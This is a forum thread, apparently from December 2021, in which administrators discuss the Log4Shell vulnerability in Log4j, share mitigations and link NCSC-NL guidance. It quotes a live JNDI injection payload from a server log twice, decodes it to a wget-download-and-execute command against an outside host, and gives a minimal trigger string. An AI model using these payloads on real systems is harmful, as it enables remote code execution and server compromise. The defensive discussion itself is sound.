45.137.21.9 - - [11/Dec/2021:03:42:17 +0100] "POST / HTTP/1.1" 301 230 "-" "${jndi:ldap://45.137.21.9:1389/Basic/Command/Base64/d2dldCBodHRwOi8vNjIuMjEwLjEzMC4yNTAvbGguc2g7Y2htb2QgK3ggbGguc2g7Li9saC5zaA==}"
Yup. Exploit attempts were detected at Fastly just 82 minutes after the release of the proof-of-concept code. We got hit with that one too. It creates a cron job to execute that wget periodically.Already out there. From my http log:
45.137.21.9 - - [11/Dec/2021:03:42:17 +0100] "POST / HTTP/1.1" 301 230 "-" "${jndi:ldap://45.137.21.9:1389/Basic/Command/Base64/d2dldCBodHRwOi8vNjIuMjEwLjEzMC4yNTAvbGguc2g7Y2htb2QgK3ggbGguc2g7Li9saC5zaA==}"
Doesn't work in my case. That Base64 string decodes to "wget http://62.210.130.250/lh.sh;chmod +x lh.sh;./lh.sh".
-DformatMsgNoLookups=true
to your Java startup options or upgrade to Log4j2 ver 2.15. We did the first really quickly yesterday, and will be doing the second throughout next week.Indeed a web server, Apache here. You need to use Java API Java Naming and Directory Interface (JNDI) for this exploit to work.What are you running that is exposing that to the Internet at large?
It doesn't have to be directly exposed. Even behind something like Nginx, setting the user-agent header to something like
${jndi:ldap://127.0.0.1/a}
can trigger the vulnerability if the back-end Java server logs the user-agent. This is a very common thing to do.I have no idea of java, but I thought, it is difficult / impossible to get stack overflows with it. Are the programmers of log4j really so smart to get one?
It's not a stack overflow (those are possible in Java, BTW.) The geniuses that wrote Log4j2 decided it would be a good idea to be able to use a remote class for formatting log messages. The class does have to be serialized.I have no idea of java, but I thought, it is difficult / impossible to get stack overflows with it. Are the programmers of log4j really so smart to get one?
Yes, this a Java equivalent of someone knowingly using eval on user input (I don't think downloading byte code counts as deserialization, by the way). Not unlike that infamous ElasticSearch issue.It's not a stack overflow
It's a Java class, yes. But it's quite prevalent.Btw, that is java, yes?
Quietly patching some applications, without telling anyone what I'm doing...Spent most of my morning trying to deal with an onset of panic among managers and directors. How's your day going?
![]()
log4shell/software at main · NCSC-NL/log4shell
Operational information regarding the log4shell vulnerabilities in the Log4j logging library. - NCSC-NL/log4shellgithub.com
Panic seems to mostly coming from managers, department heads and directors who watched the news during the weekend. Now everyone wants to know everything. And I'm just thinking, go ask SOC. It's what they're there for.no panic
I still remember that BSD bug that was there for 34+ yearsif i understood orrectly this bug is at least 4 years old, since ver 2.10
the myth of open source => more eyes => more secure busted again
It's from the Dutch NCSC (National Cyber Security Center). They are continuously updating it.@SirDice thanks for that link.